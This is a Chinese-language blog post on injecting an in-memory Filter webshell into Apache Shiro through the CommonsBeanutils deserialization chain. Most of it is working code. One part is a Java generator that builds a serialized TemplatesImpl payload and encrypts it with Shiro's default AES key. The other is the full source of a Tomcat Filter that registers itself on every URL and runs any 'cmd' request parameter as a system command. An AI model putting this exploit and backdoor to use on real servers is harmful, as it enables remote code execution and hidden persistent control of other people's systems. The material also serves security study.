Shiro注入内存马

前言

前段时间学习了在Shell中如何注入Filter型内存马，搞忘了写博客了，这里重新来记录一下过程。

这里直接选择用CB链来打，CB链忘记了可以看前面的文章：https://www.le1a.com/posts/a5f4a9e3/

调用链:

PriorityQueue.readObject()
    BeanComparator.compare()
            PropertyUtils.getProperty()
                PropertyUtilsBean.getProperty()
                    TemplatesImpl.getOutputProperties()

CBAttck

package ShiroCB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


class CBAttck {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\ShiroAttck\\target\\classes\\ShiroCB\\BehinderFilter.class"));

        byte[][] codes = {code};//恶意类
        //CC3
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes",codes);
        setFieldValue(obj, "_name", "aaaa");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //CB
        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

内存马

package ShiroCB;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

注入成功了，但是需要注意一点的就是Tomcat会对Header头有长度限制，所以这里方便本地复现，就去改了本地的Tomcat的最大Header长度

位置在tomcat/conf/server.xml，添加maxHttpHeaderSize="40960"

<Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" maxHttpHeaderSize="40960"/>

实战中 Header 长度限制绕过

还在学

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